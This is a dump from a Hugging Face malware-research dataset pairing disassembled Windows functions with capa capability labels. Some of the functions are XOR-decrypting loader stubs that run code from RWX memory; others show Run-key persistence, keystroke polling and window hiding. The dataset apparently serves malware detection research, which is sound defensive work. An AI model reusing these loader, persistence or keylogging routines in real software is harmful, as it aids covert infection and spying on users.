joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1009e5e0
Capabilities:
Query remote server for available data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eeb38
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push dword [esi + 0x4c]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
jne 0x1009e631
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x1009e661
mov edx, dword [esi + 0x18]
sub edx, dword [esi + 0x14]
mov eax, dword [ebp - 0x10]
lea ecx, [edx + eax]
cmp ecx, eax
jb 0x1009e6b0
cmp ecx, edx
jb 0x1009e6b0
test eax, eax
je 0x1009e651
cmp ecx, 0xa00000
ja 0x1009e695
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
push 0x100f6204
lea ecx, [ebp - 0x14]
call fcn.10033b50
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x34]
call fcn.10033b50
push 0x1012bb4c
lea eax, [ebp - 0x34]
push eax
call fcn.10033b50
push 0xcaa10024
lea ecx, [ebp - 0x20]
call fcn.10033b50
push 0x1012ad98
lea eax, [ebp - 0x20]
push eax
call fcn.10033b50
push 0xcaa82f9b
lea ecx, [ebp - 0x2c]
call fcn.10033b50
push 0x1012ad98
lea eax, [ebp - 0x2c]
push eax
call fcn.10033b50
int3

Function at 0x1009e850
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eec98
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [ebx + 0x18]
lea esi, [ebx + 0x14]
sub edi, dword [esi]
mov ecx, dword [ebp + 8]
lea eax, [edi + ecx]
cmp eax, edi
jl 0x1009e8f1
cmp eax, ecx
jl 0x1009e8f1
cmp eax, 0xa00000
jg 0x1009e8f8
push esi
push eax
mov ecx, esi
call fcn.10033b50
mov eax, dword [esi]
lea ecx, [ebx + 0x40]
push ecx
push dword [ebp + 8]
add eax, edi
push eax
push dword [ebx + 0x4c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1009e8c6
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x1009e913
mov eax, dword [ebx + 0x40]
mov ecx, esi
push esi
add eax, edi
push eax
call fcn.10033b50
push 0xa
mov ecx, ebx
call fcn.10033b50
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0xcaa82f9c
jmp 0x1009e8fd
push 0xcaa10024
lea ecx, [ebp - 0x1c]
call fcn.10033b50
push 0x1012ad98
lea eax, [ebp - 0x1c]
push eax
call fcn.10033b50
push 0x100f6204
lea ecx, [ebp - 0x10]
call fcn.10033b50
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x30]
call fcn.10033b50
push 0x1012bb4c
lea eax, [ebp - 0x30]
push eax
call fcn.10033b50
int3
Function at 0x1001a8f6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1001a905
pop dword [ebp - 0x4c]
mov eax, 0x52aa448a
add eax, 0xbd57647b
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x4186d
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x18eb1fda
sub ecx, 0x18ead402
mov edx, eax
mov esi, 0x1003be00
add esi, dword [ebp - 0x4c]
mov ebx, 0xb967f056
add ebx, 0xfbaf0fcb
xor dword [ebp - 0x2c], ecx
mov edi, dword [esi]
xor edi, ebx
mov dword [ebp - 0x18], 0xda84c094
mov dword [edx], edi
add edx, 4
add esi, 0x9446b80d
sub esi, 0x9446b809
loop 0x1001a959
add eax, 0x12233
xor ebx, ebx
add ebx, eax
add eax, 0x5951b805
add eax, 0xa6ae4800
mov ecx, 0x69efb905
sub ecx, 0x59efb905
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1001a8f6
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1001a8f6
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret
Function at 0x40644e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40645d
pop dword [ebp - 0x10]
mov eax, 0x9f34f8af
sub eax, 0x9ef49452
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x7fbbcdc3
sub dword [ebp - 0x20], 0x31698878
mov dword [ebp - 0x1c], 0x1b64fd38
add dword [ebp - 0x1c], 0x16ce4f0d
mov dword [ebp - 0x18], 0xd476535
sub dword [ebp - 0x18], 0xc0fb2107
mov dword [ebp - 0x14], 0x4ee9130a
add dword [ebp - 0x14], 0xb116ecf6
lea eax, [ebp - 0x20]
push eax
mov eax, 0x9688546b
add eax, 0x69b82c0d
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x85cae60
add dword [ebp - 0x20], 0x6c15baf6
mov dword [ebp - 0x1c], 0xc9be00d7
sub dword [ebp - 0x1c], 0x88519f62
mov dword [ebp - 0x18], 0x3ba09719
sub dword [ebp - 0x18], 0xd8312aad
mov dword [ebp - 0x14], 0x4035f89a
sub dword [ebp - 0x14], 0x4035f89a
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x279d07fe
sub eax, 0x275c8782
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x35887
push 0
call eax
mov ecx, 0x4cbd9834
sub ecx, 0x4cbd5648
mov edx, eax
mov esi, 0x1bad95bb
sub esi, 0x1b6813bb
add esi, dword [ebp - 0x10]
mov ebx, 0xb50204e2
sub ebx, 0x80281c20
sub dword [ebp - 8], edi
mov edi, dword [esi]
sub dword [ebp - 0xc], ebx
xor edi, ebx
add dword [ebp - 4], 0xc4bd1cf5
mov dword [edx], edi
add edx, 0x80616f0e
add edx, 0x7f9e90f6
add esi, 4
loop 0x40657f
add eax, 0x11cff3cd
add eax, 0xee3106b6
xor ebx, ebx
add ebx, eax
add eax, 0x6f65ac93
add eax, 0x909a5372
mov ecx, 0xedea4390
sub ecx, 0xedaa4390
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x4068f3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43190c], 0
push esi
jne 0x40692a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406904
mov dword [ecx*4 + 0x431908], eax
inc ecx
cmp ecx, 0x100
jl 0x4068ff
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40695b
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431908]
xor eax, esi
inc ecx
dec edx
jne 0x40693d
pop edi
not eax
pop esi
ret 0xc
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x401c66
pop dword [ebp - 0x48]
mov eax, 0xd9facdfe
sub eax, 0xd9bab198
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xeaac4bee
sub dword [ebp - 0x58], 0x9c5a06a3
mov dword [ebp - 0x54], 0xc91e23e
sub dword [ebp - 0x54], 0xda5e95f9
mov dword [ebp - 0x50], 0xcdc863cd
sub dword [ebp - 0x50], 0x817c1f9f
mov dword [ebp - 0x4c], 0xa7a5659f
add dword [ebp - 0x4c], 0x585a9a61
lea eax, [ebp - 0x58]
push eax
mov eax, 0x50344036
add eax, 0xb00bf01e
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x1fd73d72
add dword [ebp - 0x58], 0x549b2be4
mov dword [ebp - 0x54], 0xad23c4cb
sub dword [ebp - 0x54], 0x6bb76356
mov dword [ebp - 0x50], 0xbc01ee20
add dword [ebp - 0x50], 0xa76d7e4c
mov dword [ebp - 0x4c], 0x3660c878
sub dword [ebp - 0x4c], 0x3660c878
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x6739e9b9
add eax, 0x99064673
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x373b2
push 0
call eax
mov ecx, 0x271035c
add ecx, 0xfd8f47a4
xor edx, edx
add edx, eax
mov ebx, 0x605e088b
sub ebx, 0x601d988b
add ebx, dword [ebp - 0x48]
mov edi, 0xa9af7081
add edi, 0x829a2975
add dword [ebp - 0x3c], eax
mov esi, dword [ebx]
add dword [ebp - 0xc], ecx
add esi, edi
add dword [ebp - 0x10], ebx
mov dword [edx], esi
xor dword [ebp - 0xc], 0x5a9e9f7b
add edx, 4
add ebx, 0x44b674dd
sub ebx, 0x44b674d9
loop 0x401d8a
add eax, 0xc336dbf8
add eax, 0x3cca42db
mov ebx, eax
add eax, 0x99c1257f
sub eax, 0x99c1257a
mov ecx, 0x32f4893d
add ecx, 0xcd4b76c3
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x1000ee21
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1000ee30
pop dword [ebp - 0x4c]
mov eax, 0x1000ee30
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3bc9c
push 0
mov eax, 0xfc6f2c66
sub eax, 0xec6d2c22
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x948082
sub ecx, 0x942d76
mov ebx, eax
mov edx, 0x10036a00
add edx, dword [ebp - 0x4c]
mov edi, 0x6ffe711f
sub edi, 0x4ad38b36
add dword [ebp - 0x24], 0x370fce3c
mov esi, dword [edx]
xor dword [ebp - 0x24], 0x57d827fc
xor esi, edi
xor dword [ebp - 8], edx
mov dword [ebx], esi
xor dword [ebp - 4], 0x314b6dbb
add ebx, 0x1b1c3a84
add ebx, 0xe4e3c580
add edx, 0x66cd615
sub edx, 0x66cd611
loop 0x1000ee84
add eax, 0x32a68845
add eax, 0xcd5ab6be
xor ebx, ebx
add ebx, eax
add eax, 0xda0de70a
sub eax, 0xda0de705
mov ecx, 0xaf738162
sub ecx, 0x9f738162
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x10011126
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x10011130
lea esi, [ecx - 0x78]
jmp 0x10011132
xor esi, esi
lea eax, [esi + 0x84]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x50]
test esi, esi
je 0x1001114e
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8

Function at 0x10011201
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x1c
test eax, eax
je 0x10011213
add eax, 0xffffff84
jmp 0x10011215
xor eax, eax
and dword [ebp + 8], 0
push esi
mov esi, dword [ebp + 0xc]
push edi
push 7
pop ecx
lea edi, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 8]
push ecx
push 0x1002244c
lea ecx, [eax + 4]
call fcn.1000d84d
test eax, eax
js 0x1001127e
cmp dword [ebp + 8], 0
je 0x1001127b
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
xor edi, edi
call esi
test ax, ax
jns 0x10011253
inc edi
push 0x11
call esi
test ax, ax
jns 0x1001125f
add edi, 2
push 0x12
call esi
test ax, ax
jns 0x1001126b
add edi, 4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push edi
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x1c]
jmp 0x1001127e
xor eax, eax
inc eax
xor ecx, ecx
test eax, eax
mov eax, dword [ebp + 8]
setne cl
mov esi, ecx
test eax, eax
je 0x10011294
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
mov eax, esi
pop esi
leave
ret 8
Function at 0x1001712
Capabilities:
Delete file

Disassembly:
push 0x10
push 0x1001500
call fcn.01002714
mov edi, dword [ebp + 8]
test edi, edi
je 0x10017ca
push edi
mov esi, dword [sym.imp.msvcrt.dll_wcslen]
call esi
pop ecx
cmp eax, 6
jb 0x10017ca
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call esi
pop ecx
mov esi, eax
add esi, 6
mov dword [ebp - 0x1c], esi
and dword [ebp - 4], 0
lea eax, [esi + esi]
add eax, 3
and eax, 0xfffffffc
jmp loc.01005b0a
xor eax, eax
lea esp, [ebp - 0x2c]
call fcn.0100274f
ret 4

Function at 0x10017dc
Capabilities:
Delete registry value
Persist via run registry key
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
cmp dword [ebp + 8], esi
mov dword [ebp - 4], esi
je 0x10017f3
cmp dword [ebp + 0xc], esi
jne 0x1001800
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1001887
push ebx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ebx, 0x103
mov eax, dword [ebp + 0x10]
push esi
push esi
push esi
push esi
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, esi
je 0x1001830
cmp eax, ebx
jne 0x100184c
cmp eax, ebx
je 0x1001855
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
cmp dword [ebp + 0x14], 1
jne 0x100180d
push dword [ebp + 0xc]
jmp section..htext
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1001885
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push 0x1001410
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1001885
mov eax, dword [ebp + 0x14]
lea eax, [eax + eax*2]
push dword [eax*8 + 0x1003024]
push dword [ebp - 4]
call edi
pop edi
pop ebx
cmp dword [ebp - 4], esi
pop esi
je 0x1001896
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 0x10
Function at 0x410150
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46c700
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xd8
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xe8]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x485010]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], 0
push 0x46e5dc
mov eax, dword [ebp + 8]
push eax
call fcn.0041ba10
add esp, 8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4101f4
mov eax, dword [ebp + 0xc]
push eax
call fcn.004190a0
add esp, 4
test eax, eax
jbe 0x4101e8
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004190a0
add esp, 4
push eax
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.0041d100
add esp, 0x10
mov eax, dword [ebp - 0x24]
push eax
call fcn.0041b1b0
add esp, 4
jmp 0x410209
mov dword [ebp - 4], 0xffffffff
jmp 0x410219
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0xe8
cmp ebp, esp
call fcn.00418a80
mov esp, ebp
pop ebp
ret 0xc
Function at 0x413cf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2fc
push ebx
push esi
push edi
lea edi, [ebp - 0x2fc]
mov ecx, 0xbf
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x485010]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [0x486b9c], 1
mov dword [0x486b9c], 0
mov esi, esp
mov eax, dword [ebp + 8]
push eax
push 0
push 0x180
mov ecx, dword [0x4a3ca0]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
cmp esi, esp
call fcn.00418a80
mov esi, esp
push 0
mov eax, dword [0x4886ac]
push eax
push 0x186
mov ecx, dword [0x4a3ca0]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
cmp esi, esp
call fcn.00418a80
mov eax, dword [0x4886ac]
add eax, 1
mov dword [0x4886ac], eax
mov esi, esp
call dword [sym.imp.WINMM.dll_timeGetTime]
cmp esi, esp
call fcn.00418a80
mov dword [ebp - 0x22c], eax
movsx eax, word [0x494a1c]
test eax, eax
jne 0x413da8
mov eax, dword [ebp - 0x22c]
mov dword [0x49bf50], eax
mov ax, word [0x494a1c]
add ax, 1
mov word [0x494a1c], ax
mov esi, esp
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp esi, esp
call fcn.00418a80
push 0x200
push 0
lea eax, [ebp - 0x208]
push eax
call fcn.00418870
add esp, 0xc
movzx eax, word [ebp - 0x214]
mov esi, esp
push eax
movzx ecx, word [ebp - 0x216]
push ecx
movzx edx, word [ebp - 0x218]
push edx
push str._02d:_02d:_02d_t
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
cmp esi, esp
call fcn.00418a80
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x208]
push ecx
call fcn.0041acc0
add esp, 8
push 0x46e614
lea eax, [ebp - 0x208]
push eax
call fcn.0041acc0
add esp, 8
lea eax, [ebp - 0x208]
push eax
push 0x49bf58
call fcn.0041acc0
add esp, 8
movsx eax, word [0x494a1c]
cmp eax, 0x64
jge 0x413e78
mov eax, dword [ebp - 0x22c]
sub eax, dword [0x49bf50]
cmp eax, 0x2710
jbe 0x413f5d
push 0x200
push 0
lea eax, [ebp - 0x208]
push eax
call fcn.00418870
add esp, 0xc
push str...ServerLogsAccounts
call fcn.0041d3e0
add esp, 4
movzx eax, word [ebp - 0x220]
mov esi, esp
push eax
movzx ecx, word [ebp - 0x21e]
push ecx
movzx edx, word [ebp - 0x21a]
push edx
push str...ServerLogsAccountsAccountLog___02d__02d__04d_.log
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
cmp esi, esp
call fcn.00418a80
push 0x46eb10
lea eax, [ebp - 0x208]
push eax
call fcn.0041ba10
add esp, 8
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
jne 0x413ef6
jmp 0x413f5d
mov eax, dword [ebp - 0x238]
push eax
push 0x49bf58
call fcn.004190a0
add esp, 4
push eax
push 1
push 0x49bf58
call fcn.0041d100
add esp, 0x10
mov eax, dword [ebp - 0x238]
push eax
call fcn.0041b1b0
add esp, 4
xor eax, eax
mov word [0x494a1c], ax
push 0x7530
push 0
push 0x49bf58
call fcn.00418870
add esp, 0xc
cmp dword [ebp - 0x238], 0
je 0x413f5d
mov eax, dword [ebp - 0x238]
push eax
call fcn.0041b1b0
add esp, 4
push edx
mov ecx, ebp
push eax
lea edx, [0x413f8c]
call fcn.00418a20
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419b10
add esp, 0x2fc
cmp ebp, esp
call fcn.00418a80
mov esp, ebp
pop ebp
ret
Function at 0x4158a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2fc
push ebx
push esi
push edi
lea edi, [ebp - 0x2fc]
mov ecx, 0xbf
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x485010]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [0x486b9c], 1
mov dword [0x486b9c], 0
mov esi, esp
mov eax, dword [ebp + 8]
push eax
push 0
push 0x180
mov ecx, dword [0x4a3c98]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
cmp esi, esp
call fcn.00418a80
mov esi, esp
push 0
mov eax, dword [0x4886a4]
push eax
push 0x186
mov ecx, dword [0x4a3c98]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
cmp esi, esp
call fcn.00418a80
mov eax, dword [0x4886a4]
add eax, 1
mov dword [0x4886a4], eax
mov esi, esp
call dword [sym.imp.WINMM.dll_timeGetTime]
cmp esi, esp
call fcn.00418a80
mov dword [ebp - 0x22c], eax
movsx eax, word [0x494a14]
test eax, eax
jne 0x415958
mov eax, dword [ebp - 0x22c]
mov dword [0x494a18], eax
mov ax, word [0x494a14]
add ax, 1
mov word [0x494a14], ax
mov esi, esp
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp esi, esp
call fcn.00418a80
push 0x200
push 0
lea eax, [ebp - 0x208]
push eax
call fcn.00418870
add esp, 0xc
movzx eax, word [ebp - 0x214]
mov esi, esp
push eax
movzx ecx, word [ebp - 0x216]
push ecx
movzx edx, word [ebp - 0x218]
push edx
push str._02d:_02d:_02d_t
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
cmp esi, esp
call fcn.00418a80
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x208]
push ecx
call fcn.0041acc0
add esp, 8
push 0x46e614
lea eax, [ebp - 0x208]
push eax
call fcn.0041acc0
add esp, 8
lea eax, [ebp - 0x208]
push eax
push 0x494a20
call fcn.0041acc0
add esp, 8
movsx eax, word [0x494a14]
cmp eax, 0x64
jge 0x415a28
mov eax, dword [ebp - 0x22c]
sub eax, dword [0x494a18]
cmp eax, 0x2710
jbe 0x415b0d
push 0x200
push 0
lea eax, [ebp - 0x208]
push eax
call fcn.00418870
add esp, 0xc
push str...ServerLogsNucleo
call fcn.0041d3e0
add esp, 4
movzx eax, word [ebp - 0x220]
mov esi, esp
push eax
movzx ecx, word [ebp - 0x21e]
push ecx
movzx edx, word [ebp - 0x21a]
push edx
push str...ServerLogsNucleoNucleoLog___02d__02d__04d_.log
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
cmp esi, esp
call fcn.00418a80
push 0x46eb10
lea eax, [ebp - 0x208]
push eax
call fcn.0041ba10
add esp, 8
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
jne 0x415aa6
jmp 0x415b0d
mov eax, dword [ebp - 0x238]
push eax
push 0x494a20
call fcn.004190a0
add esp, 4
push eax
push 1
push 0x494a20
call fcn.0041d100
add esp, 0x10
mov eax, dword [ebp - 0x238]
push eax
call fcn.0041b1b0
add esp, 4
xor eax, eax
mov word [0x494a14], ax
push 0x7530
push 0
push 0x494a20
call fcn.00418870
add esp, 0xc
cmp dword [ebp - 0x238], 0
je 0x415b0d
mov eax, dword [ebp - 0x238]
push eax
call fcn.0041b1b0
add esp, 4
push edx
mov ecx, ebp
push eax
lea edx, [0x415b3c]
call fcn.00418a20
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419b10
add esp, 0x2fc
cmp ebp, esp
call fcn.00418a80
mov esp, ebp
pop ebp
ret
Function at 0x416980
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x154]
mov ecx, 0x55
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x485010]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x84], 1
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x1c], 0xffffffff
jne 0x4169c2
jmp 0x416a2e
push 1
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x1c]
push ecx
call sub.WS2_32.dll_shutdown
cmp dword [ebp - 0x84], 1
jne 0x416a1b
push 0
push 0x64
lea eax, [ebp - 0x78]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1c]
push edx
call sub.WS2_32.dll_recv
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
jne 0x416a06
mov dword [ebp - 0x84], 0
cmp dword [ebp - 0x90], 0
jne 0x416a19
mov dword [ebp - 0x84], 0
jmp 0x4169d0
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x1c]
push ecx
call sub.WS2_32.dll_closesocket
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xc], 3
push edx
mov ecx, ebp
push eax
lea edx, [0x416a60]
call fcn.00418a20
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419b10
add esp, 0x154
cmp ebp, esp
call fcn.00418a80
mov esp, ebp
pop ebp
ret

Function at 0x416a80
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
lea edi, [ebp - 0x274]
mov ecx, 0x9d
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x485010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, 0x202
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x1b0]
push eax
movzx ecx, word [ebp - 0x18]
push ecx
call sub.WS2_32.dll_WSAStartup
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x416acf
xor eax, eax
jmp 0x416ad4
mov eax, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x416b04]
call fcn.00418a20
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419b10
add esp, 0x274
cmp ebp, esp
call fcn.00418a80
mov esp, ebp
pop ebp
ret